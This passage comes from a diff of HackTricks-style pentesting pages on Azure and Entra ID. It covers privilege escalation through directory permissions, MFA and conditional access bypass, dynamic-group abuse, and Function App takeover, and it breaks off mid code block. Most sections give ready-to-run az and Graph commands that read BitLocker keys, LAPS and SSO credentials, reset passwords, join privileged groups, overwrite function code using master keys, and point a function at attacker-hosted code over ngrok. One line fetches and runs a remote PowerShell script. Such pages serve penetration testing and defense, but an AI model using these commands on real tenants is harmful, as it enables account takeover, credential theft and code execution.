> After adding a new owner, I tried to remove it but the API responded that the DELETE method wasn't supported, even if it's the method you need to use to delete the owner. So you **can't remove owners nowadays**.
|
||||
|
||||
### `microsoft.directory/servicePrincipals/disable` and `enable`
|
||||
|
||||
These permissions allows to disable and enable service principals. An attacker could use this permission to enable a service principal he could get access to somehow to escalate privileges.
|
||||
|
||||
Note that for this technique the attacker will need more permissions in order to take over the enabled service principal.
|
||||
|
||||
```bash
|
||||
bashCopy code# Disable
|
||||
az ad sp update --id <ServicePrincipalId> --account-enabled false
|
||||
|
||||
# Enable
|
||||
az ad sp update --id <ServicePrincipalId> --account-enabled true
|
||||
```
|
||||
|
||||
#### `microsoft.directory/servicePrincipals/getPasswordSingleSignOnCredentials` & `microsoft.directory/servicePrincipals/managePasswordSingleSignOnCredentials`
|
||||
|
||||
These permissions allow to create and get credentials for single sign-on which could allow access to third-party applications.
|
||||
|
||||
```bash
|
||||
# Generate SSO creds for a user or a group
|
||||
spID="<spId>"
|
||||
user_or_group_id="<id>"
|
||||
username="<username>"
|
||||
password="<password>"
|
||||
az rest --method POST \
|
||||
--uri "https://graph.microsoft.com/beta/servicePrincipals/$spID/createPasswordSingleSignOnCredentials" \
|
||||
--headers "Content-Type=application/json" \
|
||||
--body "{\"id\": \"$user_or_group_id\", \"credentials\": [{\"fieldId\": \"param_username\", \"value\": \"$username\", \"type\": \"username\"}, {\"fieldId\": \"param_password\", \"value\": \"$password\", \"type\": \"password\"}]}"
|
||||
|
||||
|
||||
# Get credentials of a specific credID
|
||||
credID="<credID>"
|
||||
az rest --method POST \
|
||||
--uri "https://graph.microsoft.com/v1.0/servicePrincipals/$credID/getPasswordSingleSignOnCredentials" \
|
||||
--headers "Content-Type=application/json" \
|
||||
--body "{\"id\": \"$credID\"}"
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Groups
|
||||
|
||||
### `microsoft.directory/groups/allProperties/update`
|
||||
|
||||
This permission allows to add users to privileged groups, leading to privilege escalation.
|
||||
|
||||
```bash
|
||||
az ad group member add --group <GroupName> --member-id <UserId>
|
||||
```
|
||||
|
||||
**Note**: This permission excludes Entra ID role-assignable groups.
|
||||
|
||||
### `microsoft.directory/groups/owners/update`
|
||||
|
||||
This permission allows to become an owner of groups. An owner of a group can control group membership and settings, potentially escalating privileges to the group.
|
||||
|
||||
```bash
|
||||
az ad group owner add --group <GroupName> --owner-object-id <UserId>
|
||||
az ad group member add --group <GroupName> --member-id <UserId>
|
||||
```
|
||||
|
||||
**Note**: This permission excludes Entra ID role-assignable groups.
|
||||
|
||||
### `microsoft.directory/groups/members/update`
|
||||
|
||||
This permission allows to add members to a group. An attacker could add himself or malicious accounts to privileged groups can grant elevated access.
|
||||
|
||||
```bash
|
||||
az ad group member add --group <GroupName> --member-id <UserId>
|
||||
```
|
||||
|
||||
### `microsoft.directory/groups/dynamicMembershipRule/update`
|
||||
|
||||
This permission allows to update membership rule in a dynamic group. An attacker could modify dynamic rules to include himself in privileged groups without explicit addition.
|
||||
|
||||
```bash
|
||||
groupId="<group-id>"
|
||||
az rest --method PATCH \
|
||||
--uri "https://graph.microsoft.com/v1.0/groups/$groupId" \
|
||||
--headers "Content-Type=application/json" \
|
||||
--body '{
|
||||
"membershipRule": "(user.otherMails -any (_ -contains \"security\")) -and (user.userType -eq \"guest\")",
|
||||
"membershipRuleProcessingState": "On"
|
||||
}'
|
||||
```
|
||||
|
||||
**Note**: This permission excludes Entra ID role-assignable groups.
|
||||
|
||||
### Dynamic Groups Privesc
|
||||
|
||||
It might be possible for users to escalate privileges modifying their own properties to be added as members of dynamic groups. For more info check:
|
||||
|
||||
{{#ref}}
|
||||
dynamic-groups.md
|
||||
{{#endref}}
|
||||
|
||||
## Users
|
||||
|
||||
### `microsoft.directory/users/password/update`
|
||||
|
||||
This permission allows to reset password to non-admin users, allowing a potential attacker to escalate privileges to other users. This permission cannot be assigned to custom roles.
|
||||
|
||||
```bash
|
||||
az ad user update --id <user-id> --password "kweoifuh.234"
|
||||
```
|
||||
|
||||
### `microsoft.directory/users/basic/update`
|
||||
|
||||
This privilege allows to modify properties of the user. It's common to find dynamic groups that add users based on properties values, therefore, this permission could allow a user to set the needed property value to be a member to a specific dynamic group and escalate privileges.
|
||||
|
||||
```bash
|
||||
#e.g. change manager of a user
|
||||
victimUser="<userID>"
|
||||
managerUser="<userID>"
|
||||
az rest --method PUT \
|
||||
--uri "https://graph.microsoft.com/v1.0/users/$managerUser/manager/\$ref" \
|
||||
--headers "Content-Type=application/json" \
|
||||
--body '{"@odata.id": "https://graph.microsoft.com/v1.0/users/$managerUser"}'
|
||||
|
||||
#e.g. change department of a user
|
||||
az rest --method PATCH \
|
||||
--uri "https://graph.microsoft.com/v1.0/users/$victimUser" \
|
||||
--headers "Content-Type=application/json" \
|
||||
--body "{\"department\": \"security\"}"
|
||||
```
|
||||
|
||||
## Conditional Access Policies & MFA bypass
|
||||
|
||||
Misconfigured conditional access policies requiring MFA could be bypassed, check:
|
||||
|
||||
{{#ref}}
|
||||
az-conditional-access-policies-mfa-bypass.md
|
||||
{{#endref}}
|
||||
|
||||
## Devices
|
||||
|
||||
### `microsoft.directory/devices/registeredOwners/update`
|
||||
|
||||
This permission allows attackers to assigning themselves as owners of devices to gain control or access to device-specific settings and data.
|
||||
|
||||
```bash
|
||||
deviceId="<deviceId>"
|
||||
userId="<userId>"
|
||||
az rest --method POST \
|
||||
--uri "https://graph.microsoft.com/v1.0/devices/$deviceId/owners/\$ref" \
|
||||
--headers "Content-Type=application/json" \
|
||||
--body '{"@odata.id": "https://graph.microsoft.com/v1.0/directoryObjects/$userId"}'
|
||||
```
|
||||
|
||||
### `microsoft.directory/devices/registeredUsers/update`
|
||||
|
||||
This permission allows attackers to associate their account with devices to gain access or to bypass security policies.
|
||||
|
||||
```bash
|
||||
deviceId="<deviceId>"
|
||||
userId="<userId>"
|
||||
az rest --method POST \
|
||||
--uri "https://graph.microsoft.com/v1.0/devices/$deviceId/registeredUsers/\$ref" \
|
||||
--headers "Content-Type=application/json" \
|
||||
--body '{"@odata.id": "https://graph.microsoft.com/v1.0/directoryObjects/$userId"}'
|
||||
```
|
||||
|
||||
### `microsoft.directory/deviceLocalCredentials/password/read`
|
||||
|
||||
This permission allows attackers to read the properties of the backed up local administrator account credentials for Microsoft Entra joined devices, including the password
|
||||
|
||||
```bash
|
||||
# List deviceLocalCredentials
|
||||
az rest --method GET \
|
||||
--uri "https://graph.microsoft.com/v1.0/directory/deviceLocalCredentials"
|
||||
|
||||
# Get credentials
|
||||
deviceLC="<deviceLCID>"
|
||||
az rest --method GET \
|
||||
--uri "https://graph.microsoft.com/v1.0/directory/deviceLocalCredentials/$deviceLCID?\$select=credentials" \
|
||||
```
|
||||
|
||||
## BitlockerKeys
|
||||
|
||||
### `microsoft.directory/bitlockerKeys/key/read`
|
||||
|
||||
This permission allows to access BitLocker keys, which could allow an attacker to decrypt drives, compromising data confidentiality.
|
||||
|
||||
```bash
|
||||
# List recovery keys
|
||||
az rest --method GET \
|
||||
--uri "https://graph.microsoft.com/v1.0/informationProtection/bitlocker/recoveryKeys"
|
||||
|
||||
# Get key
|
||||
recoveryKeyId="<recoveryKeyId>"
|
||||
az rest --method GET \
|
||||
--uri "https://graph.microsoft.com/v1.0/informationProtection/bitlocker/recoveryKeys/$recoveryKeyId?\$select=key"
|
||||
```
|
||||
|
||||
## Other Interesting permissions (TODO)
|
||||
|
||||
- `microsoft.directory/applications/permissions/update`
|
||||
- `microsoft.directory/servicePrincipals/permissions/update`
|
||||
- `microsoft.directory/applications.myOrganization/allProperties/update`
|
||||
- `microsoft.directory/applications/allProperties/update`
|
||||
- `microsoft.directory/servicePrincipals/appRoleAssignedTo/update`
|
||||
- `microsoft.directory/applications/appRoles/update`
|
||||
- `microsoft.directory/applications.myOrganization/permissions/update`
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
+181
@@ -0,0 +1,181 @@
|
||||
# Az - Conditional Access Policies & MFA Bypass
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Basic Information
|
||||
|
||||
Azure Conditional Access policies are rules set up in Microsoft Azure to enforce access controls to Azure services and applications based on certain **conditions**. These policies help organizations secure their resources by applying the right access controls under the right circumstances.\
|
||||
Conditional access policies basically **defines** **Who** can access **What** from **Where** and **How**.
|
||||
|
||||
Here are a couple of examples:
|
||||
|
||||
1. **Sign-In Risk Policy**: This policy could be set to require multi-factor authentication (MFA) when a sign-in risk is detected. For example, if a user's login behavior is unusual compared to their regular pattern, such as logging in from a different country, the system can prompt for additional authentication.
|
||||
2. **Device Compliance Policy**: This policy can restrict access to Azure services only to devices that are compliant with the organization's security standards. For instance, access could be allowed only from devices that have up-to-date antivirus software or are running a certain operating system version.
|
||||
|
||||
## Conditional Acces Policies Bypasses
|
||||
|
||||
It's possible that a conditional access policy is **checking some information that can be easily tampered allowing a bypass of the policy**. And if for example the policy was configuring MFA, the attacker will be able to bypass it.
|
||||
|
||||
When configuring a conditional access policy it's needed to indicate the **users** affected and **target resources** (like all cloud apps).
|
||||
|
||||
It's also needed to configure the **conditions** that will **trigger** the policy:
|
||||
|
||||
- **Network**: Ip, IP ranges and geographical locations
|
||||
- Can be bypassed using a VPN or Proxy to connect to a country or managing to login from an allowed IP address
|
||||
- **Microsoft risks**: User risk, Sign-in risk, Insider risk
|
||||
- **Device platforms**: Any device or select Android, iOS, Windows phone, Windows, macOS, Linux
|
||||
- If “Any device” is not selected but all the other options are selected it’s possible to bypass it using a random user-agent not related to those platforms
|
||||
- **Client apps**: Option are “Browser”, “Mobiles apps and desktop clients”, “Exchange ActiveSync clients” and Other clients”
|
||||
- To bypass login with a not selected option
|
||||
- **Filter for devices**: It’s possible to generate a rule related the used device
|
||||
- A**uthentication flows**: Options are “Device code flow” and “Authentication transfer”
|
||||
- This won’t affect an attacker unless he is trying to abuse any of those protocols in a phishing attempt to access the victims account
|
||||
|
||||
The possible **results** are: Block or Grant access with potential conditions like require MFA, device to be compliant…
|
||||
|
||||
### Device Platforms - Device Condition
|
||||
|
||||
It's possible to set a condition based on the **device platform** (Android, iOS, Windows, macOS...), however, this is based on the **user-agent** so it's easy to bypass. Even **making all the options enforce MFA**, if you use a **user-agent that it isn't recognized,** you will be able to bypass the MFA or block:
|
||||
|
||||
<figure><img src="../../../../images/image (352).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Just making the browser **send an unknown user-agent** (like `Mozilla/5.0 (compatible; MSIE 10.0; Windows Phone 8.0; Trident/6.0; IEMobile/10.0; ARM; Touch; NOKIA; Lumia 920) UCBrowser/10.1.0.563 Mobile`) is enough to not trigger this condition.\
|
||||
You can change the user agent **manually** in the developer tools:
|
||||
|
||||
<figure><img src="../../../../images/image (351).png" alt="" width="375"><figcaption></figcaption></figure>
|
||||
|
||||
 Or use a [browser extension like this one](https://chromewebstore.google.com/detail/user-agent-switcher-and-m/bhchdcejhohfmigjafbampogmaanbfkg?hl=en).
|
||||
|
||||
### Locations: Countries, IP ranges - Device Condition
|
||||
|
||||
If this is set in the conditional policy, an attacker could just use a **VPN** in the **allowed country** or try to find a way to access from an **allowed IP address** to bypass these conditions.
|
||||
|
||||
### Cloud Apps
|
||||
|
||||
It's possible to configure **conditional access policies to block or force** for example MFA when a user tries to access **specific app**:
|
||||
|
||||
<figure><img src="../../../../images/image (353).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
To try to bypass this protection you should see if you can **only into any application**.\
|
||||
The tool [**AzureAppsSweep**](https://github.com/carlospolop/AzureAppsSweep) has **tens of application IDs hardcoded** and will try to login into them and let you know and even give you the token if successful.
|
||||
|
||||
In order to **test specific application IDs in specific resources** you could also use a tool such as:
|
||||
|
||||
```bash
|
||||
roadrecon auth -u user@email.com -r https://outlook.office.com/ -c 1fec8e78-bce4-4aaf-ab1b-5451cc387264 --tokens-stdout
|
||||
|
||||
<token>
|
||||
```
|
||||
|
||||
Moreover, it's also possible to protect the login method (e.g. if you are trying to login from the browser or from a desktop application). The tool [**Invoke-MFASweep**](az-conditional-access-policies-mfa-bypass.md#invoke-mfasweep) perform some checks to try to bypass this protections also.
|
||||
|
||||
The tool [**donkeytoken**](az-conditional-access-policies-mfa-bypass.md#donkeytoken) could also be used to similar purposes although it looks unmantained.
|
||||
|
||||
The tool [**ROPCI**](https://github.com/wunderwuzzi23/ropci) can also be used to test this protections and see if it's possible to bypass MFAs or blocks, but this tool works from a **whitebox** perspective. You first need to download the list of Apps allowed in the tenant and then it will try to login into them.
|
||||
|
||||
## Other Az MFA Bypasses
|
||||
|
||||
### Ring tone
|
||||
|
||||
One Azure MFA option is to **receive a call in the configured phone number** where it will be asked the user to **send the char `#`**.
|
||||
|
||||
> [!CAUTION]
|
||||
> As chars are just **tones**, an attacker could **compromise** the **voicemail** message of the phone number, configure as the message the **tone of `#`** and then, when requesting the MFA make sure that the **victims phone is busy** (calling it) so the Azure call gets redirected to the voice mail.
|
||||
|
||||
### Compliant Devices
|
||||
|
||||
Policies often asks for a compliant device or MFA, so an **attacker could register a compliant device**, get a **PRT** token and **bypass this way the MFA**.
|
||||
|
||||
Start by registering a **compliant device in Intune**, then **get the PRT** with:
|
||||
|
||||
```powershell
|
||||
$prtKeys = Get-AADIntuneUserPRTKeys - PfxFileName .\<uuid>.pfx -Credentials $credentials
|
||||
|
||||
$prtToken = New-AADIntUserPRTToken -Settings $prtKeys -GertNonce
|
||||
|
||||
Get-AADIntAccessTokenForAADGraph -PRTToken $prtToken
|
||||
|
||||
<token returned>
|
||||
```
|
||||
|
||||
Find more information about this kind of attack in the following page:
|
||||
|
||||
{{#ref}}
|
||||
../../az-lateral-movement-cloud-on-prem/pass-the-prt.md
|
||||
{{#endref}}
|
||||
|
||||
## Tooling
|
||||
|
||||
### [**AzureAppsSweep**](https://github.com/carlospolop/AzureAppsSweep)
|
||||
|
||||
This script get some user credentials and check if it can login in some applications.
|
||||
|
||||
This is useful to see if you **aren't required MFA to login in some applications** that you might later abuse to **escalate pvivileges**.
|
||||
|
||||
### [roadrecon](https://github.com/dirkjanm/ROADtools)
|
||||
|
||||
Get all the policies
|
||||
|
||||
```bash
|
||||
roadrecon plugin policies
|
||||
```
|
||||
|
||||
### [Invoke-MFASweep](https://github.com/dafthack/MFASweep)
|
||||
|
||||
MFASweep is a PowerShell script that attempts to **log in to various Microsoft services using a provided set of credentials and will attempt to identify if MFA is enabled**. Depending on how conditional access policies and other multi-factor authentication settings are configured some protocols may end up being left single factor. It also has an additional check for ADFS configurations and can attempt to log in to the on-prem ADFS server if detected.
|
||||
|
||||
```bash
|
||||
Invoke-Expression (Invoke-WebRequest -Uri "https://raw.githubusercontent.com/dafthack/MFASweep/master/MFASweep.ps1").Content
|
||||
Invoke-MFASweep -Username <username> -Password <pass>
|
||||
```
|
||||
|
||||
### [ROPCI](https://github.com/wunderwuzzi23/ropci)
|
||||
|
||||
This tool has helped identify MFA bypasses and then abuse APIs in multiple production AAD tenants, where AAD customers believed they had MFA enforced, but ROPC based authentication succeeded.
|
||||
|
||||
> [!TIP]
|
||||
> You need to have permissions to list all the applications to be able to generate the list of the apps to brute-force.
|
||||
|
||||
```bash
|
||||
./ropci configure
|
||||
./ropci apps list --all --format json -o apps.json
|
||||
./ropci apps list --all --format json | jq -r '.value[] | [.displayName,.appId] | @csv' > apps.csv
|
||||
./ropci auth bulk -i apps.csv -o results.json
|
||||
```
|
||||
|
||||
### [donkeytoken](https://github.com/silverhack/donkeytoken)
|
||||
|
||||
Donkey token is a set of functions which aim to help security consultants who need to validate Conditional Access Policies, tests for 2FA-enabled Microsoft portals, etc..
|
||||
|
||||
<pre class="language-powershell"><code class="lang-powershell"><strong>git clone https://github.com/silverhack/donkeytoken.git
|
||||
</strong><strong>Import-Module '.\donkeytoken' -Force
|
||||
</strong></code></pre>
|
||||
|
||||
**Test each portal** if it's possible to **login without MFA**:
|
||||
|
||||
```powershell
|
||||
$username = "conditional-access-app-user@azure.training.hacktricks.xyz"
|
||||
$password = ConvertTo-SecureString "Poehurgi78633" -AsPlainText -Force
|
||||
$cred = New-Object System.Management.Automation.PSCredential($username, $password)
|
||||
Invoke-MFATest -credential $cred -Verbose -Debug -InformationAction Continue
|
||||
```
|
||||
|
||||
Because the **Azure** **portal** is **not constrained** it's possible to **gather a token from the portal endpoint to access any service detected** by the previous execution. In this case Sharepoint was identified, and a token to access it is requested:
|
||||
|
||||
```powershell
|
||||
$token = Get-DelegationTokenFromAzurePortal -credential $cred -token_type microsoft.graph -extension_type Microsoft_Intune
|
||||
Read-JWTtoken -token $token.access_token
|
||||
```
|
||||
|
||||
Supposing the token has the permission Sites.Read.All (from Sharepoint), even if you cannot access Sharepoint from the web because of MFA, it's possible to use the token to access the files with the generated token:
|
||||
|
||||
```powershell
|
||||
$data = Get-SharePointFilesFromGraph -authentication $token $data[0].downloadUrl
|
||||
```
|
||||
|
||||
## References
|
||||
|
||||
- [https://www.youtube.com/watch?v=yOJ6yB9anZM\&t=296s](https://www.youtube.com/watch?v=yOJ6yB9anZM&t=296s)
|
||||
- [https://www.youtube.com/watch?v=xei8lAPitX8](https://www.youtube.com/watch?v=xei8lAPitX8)
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
+50
@@ -0,0 +1,50 @@
|
||||
# Az - Dynamic Groups Privesc
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Basic Information
|
||||
|
||||
**Dynamic groups** are groups that has a set of **rules** configured and all the **users or devices** that match the rules are added to the group. Every time a user or device **attribute** is **changed**, dynamic rules are **rechecked**. And when a **new rule** is **created** all devices and users are **checked**.
|
||||
|
||||
Dynamic groups can have **Azure RBAC roles assigned** to them, but it's **not possible** to add **AzureAD roles** to dynamic groups.
|
||||
|
||||
This feature requires Azure AD premium P1 license.
|
||||
|
||||
## Privesc
|
||||
|
||||
Note that by default any user can invite guests in Azure AD, so, If a dynamic group **rule** gives **permissions** to users based on **attributes** that can be **set** in a new **guest**, it's possible to **create a guest** with this attributes and **escalate privileges**. It's also possible for a guest to manage his own profile and change these attributes.
|
||||
|
||||
Get groups that allow Dynamic membership: **`az ad group list --query "[?contains(groupTypes, 'DynamicMembership')]" --output table`**
|
||||
|
||||
### Example
|
||||
|
||||
- **Rule example**: `(user.otherMails -any (_ -contains "security")) -and (user.userType -eq "guest")`
|
||||
- **Rule description**: Any Guest user with a secondary email with the string 'security' will be added to the group
|
||||
|
||||
For the Guest user email, accept the invitation and check the current settings of **that user** in [https://entra.microsoft.com/#view/Microsoft_AAD_IAM/TenantOverview.ReactView](https://entra.microsoft.com/#view/Microsoft_AAD_IAM/TenantOverview.ReactView).\
|
||||
Unfortunately the page doesn't allow to modify the attribute values so we need to use the API:
|
||||
|
||||
```powershell
|
||||
# Login with the gust user
|
||||
az login --allow-no-subscriptions
|
||||
|
||||
# Get user object ID
|
||||
az ad signed-in-user show
|
||||
|
||||
# Update otherMails
|
||||
az rest --method PATCH \
|
||||
--url "https://graph.microsoft.com/v1.0/users/<user-object-id>" \
|
||||
--headers 'Content-Type=application/json' \
|
||||
--body '{"otherMails": ["newemail@example.com", "anotheremail@example.com"]}'
|
||||
|
||||
# Verify the update
|
||||
az rest --method GET \
|
||||
--url "https://graph.microsoft.com/v1.0/users/<user-object-id>" \
|
||||
--query "otherMails"
|
||||
```
|
||||
|
||||
## References
|
||||
|
||||
- [https://www.mnemonic.io/resources/blog/abusing-dynamic-groups-in-azure-ad-for-privilege-escalation/](https://www.mnemonic.io/resources/blog/abusing-dynamic-groups-in-azure-ad-for-privilege-escalation/)
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
+457
@@ -0,0 +1,457 @@
|
||||
# Az - Functions App Privesc
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Function Apps
|
||||
|
||||
Check the following page for more information:
|
||||
|
||||
{{#ref}}
|
||||
../az-services/az-function-apps.md
|
||||
{{#endref}}
|
||||
|
||||
### Bucket Read/Write
|
||||
|
||||
With permissions to read the containers inside the Storage Account that stores the function data it's possible to find **different containers** (custom or with pre-defined names) that might contain **the code executed by the function**.
|
||||
|
||||
Once you find where the code of the function is located if you have write permissions over it you can make the function execute any code and escalate privileges to the managed identities attached to the function.
|
||||
|
||||
- **`File Share`** (`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING` and `WEBSITE_CONTENTSHARE)`
|
||||
|
||||
The code of the function is usually stored inside a file share. With enough access it's possible to modify the code file and **make the function load arbitrary code** allowing to escalate privileges to the managed identities attached to the Function.
|
||||
|
||||
This deployment method usually configures the settings **`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING`** and **`WEBSITE_CONTENTSHARE`** which you can get from 
|
||||
|
||||
```bash
|
||||
az functionapp config appsettings list \
|
||||
--name <app-name> \
|
||||
--resource-group <res-group>
|
||||
```
|
||||
|
||||
Those configs will contain the **Storage Account Key** that the Function can use to access the code.
|
||||
|
||||
> [!CAUTION]
|
||||
> With enough permission to connect to the File Share and **modify the script** running it's possible to execute arbitrary code in the Function and escalate privileges.
|
||||
|
||||
The following example uses macOS to connect to the file share, but it's recommended to check also the following page for more info about file shares:
|
||||
|
||||
{{#ref}}
|
||||
../az-services/az-file-shares.md
|
||||
{{#endref}}
|
||||
|
||||
```bash
|
||||
# Username is the name of the storage account
|
||||
# Password is the Storage Account Key
|
||||
|
||||
# Open the connection to the file share
|
||||
# Change the code of the script like /site/wwwroot/function_app.py
|
||||
|
||||
open "smb://<STORAGE-ACCOUNT>.file.core.windows.net/<FILE-SHARE-NAME>"
|
||||
```
|
||||
|
||||
- **`function-releases`** (`WEBSITE_RUN_FROM_PACKAGE`)
|
||||
|
||||
It's also common to find the **zip releases** inside the folder `function-releases` of the Storage Account container that the function app is using in a container **usually called `function-releases`**.
|
||||
|
||||
Usually this deployment method will set the `WEBSITE_RUN_FROM_PACKAGE` config in:
|
||||
|
||||
```bash
|
||||
az functionapp config appsettings list \
|
||||
--name <app-name> \
|
||||
--resource-group <res-group>
|
||||
```
|
||||
|
||||
This config will usually contain a **SAS URL to download** the code from the Storage Account.
|
||||
|
||||
> [!CAUTION]
|
||||
> With enough permission to connect to the blob container that **contains the code in zip** it's possible to execute arbitrary code in the Function and escalate privileges.
|
||||
|
||||
- **`github-actions-deploy`** (`WEBSITE_RUN_FROM_PACKAGE)`
|
||||
|
||||
Just like in the previous case, if the deployment is done via Github Actions it's possible to find the folder **`github-actions-deploy`** in the Storage Account containing a zip of the code and a SAS URL to the zip in the setting `WEBSITE_RUN_FROM_PACKAGE`.
|
||||
|
||||
- **`scm-releases`**`(WEBSITE_CONTENTAZUREFILECONNECTIONSTRING` and `WEBSITE_CONTENTSHARE`)
|
||||
|
||||
With permissions to read the containers inside the Storage Account that stores the function data it's possible to find the container **`scm-releases`**. In there it's possible to find the latest release in **Squashfs filesystem file format** and therefore it's possible to read the code of the function:
|
||||
|
||||
```bash
|
||||
# List containers inside the storage account of the function app
|
||||
az storage container list \
|
||||
--account-name <acc-name> \
|
||||
--output table
|
||||
|
||||
# List files inside one container
|
||||
az storage blob list \
|
||||
--account-name <acc-name> \
|
||||
--container-name <container-name> \
|
||||
--output table
|
||||
|
||||
# Download file
|
||||
az storage blob download \
|
||||
--account-name <res-group> \
|
||||
--container-name scm-releases \
|
||||
--name scm-latest-<app-name>.zip \
|
||||
--file /tmp/scm-latest-<app-name>.zip
|
||||
|
||||
## Even if it looks like the file is a .zip, it's a Squashfs filesystem
|
||||
|
||||
# Install
|
||||
brew install squashfs
|
||||
|
||||
# List contents of the filesystem
|
||||
unsquashfs -l "/tmp/scm-latest-<app-name>.zip"
|
||||
|
||||
# Get all the contents
|
||||
mkdir /tmp/fs
|
||||
unsquashfs -d /tmp/fs /tmp/scm-latest-<app-name>.zip
|
||||
```
|
||||
|
||||
It's also possible to find the **master and functions keys** stored in the storage account in the container **`azure-webjobs-secrets`** inside the folder **`<app-name>`** in the JSON files you can find inside.
|
||||
|
||||
> [!CAUTION]
|
||||
> With enough permission to connect to the blob container that **contains the code in a zip extension file** (which actually is a **`squashfs`**) it's possible to execute arbitrary code in the Function and escalate privileges.
|
||||
|
||||
```bash
|
||||
# Modify code inside the script in /tmp/fs adding your code
|
||||
|
||||
# Generate new filesystem file
|
||||
mksquashfs /tmp/fs /tmp/scm-latest-<app-name>.zip -b 131072 -noappend
|
||||
|
||||
# Upload it to the blob storage
|
||||
az storage blob upload \
|
||||
--account-name <storage-account> \
|
||||
--container-name scm-releases \
|
||||
--name scm-latest-<app-name>.zip \
|
||||
--file /tmp/scm-latest-<app-name>.zip \
|
||||
--overwrite
|
||||
```
|
||||
|
||||
### Microsoft.Web/sites/host/listkeys/action
|
||||
|
||||
This permission allows to list the function, master and system keys, but not the host one, of the specified function with:
|
||||
|
||||
```bash
|
||||
az functionapp keys list --resource-group <res_group> --name <func-name>
|
||||
```
|
||||
|
||||
With the master key it's also possible to to get the source code in a URL like:
|
||||
|
||||
```bash
|
||||
# Get "script_href" from
|
||||
az rest --method GET \
|
||||
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/functions?api-version=2024-04-01"
|
||||
|
||||
# Access
|
||||
curl "<script-href>?code=<master-key>"
|
||||
## Python example:
|
||||
curl "https://newfuncttest123.azurewebsites.net/admin/vfs/home/site/wwwroot/function_app.py?code=RByfLxj0P-4Y7308dhay6rtuonL36Ohft9GRdzS77xWBAzFu75Ol5g==" -v
|
||||
```
|
||||
|
||||
And to **change the code that is being executed** in the function with:
|
||||
|
||||
```bash
|
||||
# Set the code to set in the function in /tmp/function_app.py
|
||||
## The following continues using the python example
|
||||
curl -X PUT "https://newfuncttest123.azurewebsites.net/admin/vfs/home/site/wwwroot/function_app.py?code=RByfLxj0P-4Y7308dhay6rtuonL36Ohft9GRdzS77xWBAzFu75Ol5g==" \
|
||||
--data-binary @/tmp/function_app.py \
|
||||
-H "Content-Type: application/json" \
|
||||
-H "If-Match: *" \
|
||||
-v
|
||||
```
|
||||
|
||||
### Microsoft.Web/sites/functions/listKeys/action
|
||||
|
||||
This permission allows to get the host key, of the specified function with:
|
||||
|
||||
```bash
|
||||
az rest --method POST --uri "https://management.azure.com/subscriptions/<subsription-id>/resourceGroups/<resource-group>/providers/Microsoft.Web/sites/<func-name>/functions/<func-endpoint-name>/listKeys?api-version=2022-03-01"
|
||||
```
|
||||
|
||||
### Microsoft.Web/sites/host/functionKeys/write
|
||||
|
||||
This permission allows to create/update a function key of the specified function with:
|
||||
|
||||
```bash
|
||||
az functionapp keys set --resource-group <res_group> --key-name <key-name> --key-type functionKeys --name <func-key> --key-value q_8ILAoJaSp_wxpyHzGm4RVMPDKnjM_vpEb7z123yRvjAzFuo6wkIQ==
|
||||
```
|
||||
|
||||
### Microsoft.Web/sites/host/masterKey/write
|
||||
|
||||
This permission allows to create/update a master key to the specified function with:
|
||||
|
||||
```bash
|
||||
az functionapp keys set --resource-group <res_group> --key-name <key-name> --key-type masterKey --name <func-key> --key-value q_8ILAoJaSp_wxpyHzGm4RVMPDKnjM_vpEb7z123yRvjAzFuo6wkIQ==
|
||||
```
|
||||
|
||||
> [!CAUTION]
|
||||
> Remember that with this key you can also access the source code and modify it as explained before!
|
||||
|
||||
### Microsoft.Web/sites/host/systemKeys/write
|
||||
|
||||
This permission allows to create/update a system function key to the specified function with:
|
||||
|
||||
```bash
|
||||
az functionapp keys set --resource-group <res_group> --key-name <key-name> --key-type masterKey --name <func-key> --key-value q_8ILAoJaSp_wxpyHzGm4RVMPDKnjM_vpEb7z123yRvjAzFuo6wkIQ==
|
||||
```
|
||||
|
||||
### Microsoft.Web/sites/config/list/action
|
||||
|
||||
This permission allows to get the settings of a function. Inside these configurations it might be possible to find the default values **`AzureWebJobsStorage`** or **`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING`** which contains an **account key to access the blob storage of the function with FULL permissions**.
|
||||
|
||||
```bash
|
||||
az functionapp config appsettings list --name <func-name> --resource-group <res-group>
|
||||
```
|
||||
|
||||
Moreover, this permission also allows to get the **SCM username and password** (if enabled) with:
|
||||
|
||||
```bash
|
||||
az rest --method POST \
|
||||
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/config/publishingcredentials/list?api-version=2018-11-01"
|
||||
```
|
||||
|
||||
### Microsoft.Web/sites/config/list/action, Microsoft.Web/sites/config/write
|
||||
|
||||
These permissions allows to list the config values of a function as we have seen before plus **modify these values**. This is useful because these settings indicate where the code to execute inside the function is located. 
|
||||
|
||||
It's therefore possible to set the value of the setting **`WEBSITE_RUN_FROM_PACKAGE`** pointing to an URL zip file containing the new code to execute inside a web application:
|
||||
|
||||
- Start by getting the current config
|
||||
|
||||
```bash
|
||||
az functionapp config appsettings list \
|
||||
--name <app-name> \
|
||||
--resource-group <res-name>
|
||||
```
|
||||
|
||||
- Create the code you want the function to run and host it publicly
|
||||
|
||||
```bash
|
||||
# Write inside /tmp/web/function_app.py the code of the function
|
||||
cd /tmp/web/function_app.py
|
||||
zip function_app.zip function_app.py
|
||||
python3 -m http.server
|
||||
|
||||
# Serve it using ngrok for example
|
||||
ngrok http 8000
|
||||
```
|
||||
|
||||
- Modify the function, keep the previous parameters and add at the end the config **`WEBSITE_RUN_FROM_PACKAGE`** pointing to the URL with the **zip** containing the code.
|
||||
|
||||
The following is an example of my **own settings you will need to change the values for yours**, note at the end the values `"WEBSITE_RUN_FROM_PACKAGE": "https://4c7d-81-33-68-77.ngrok-free.app/function_app.zip"` , this is where I was hosting the app.
|
||||
|
||||
```bash
|
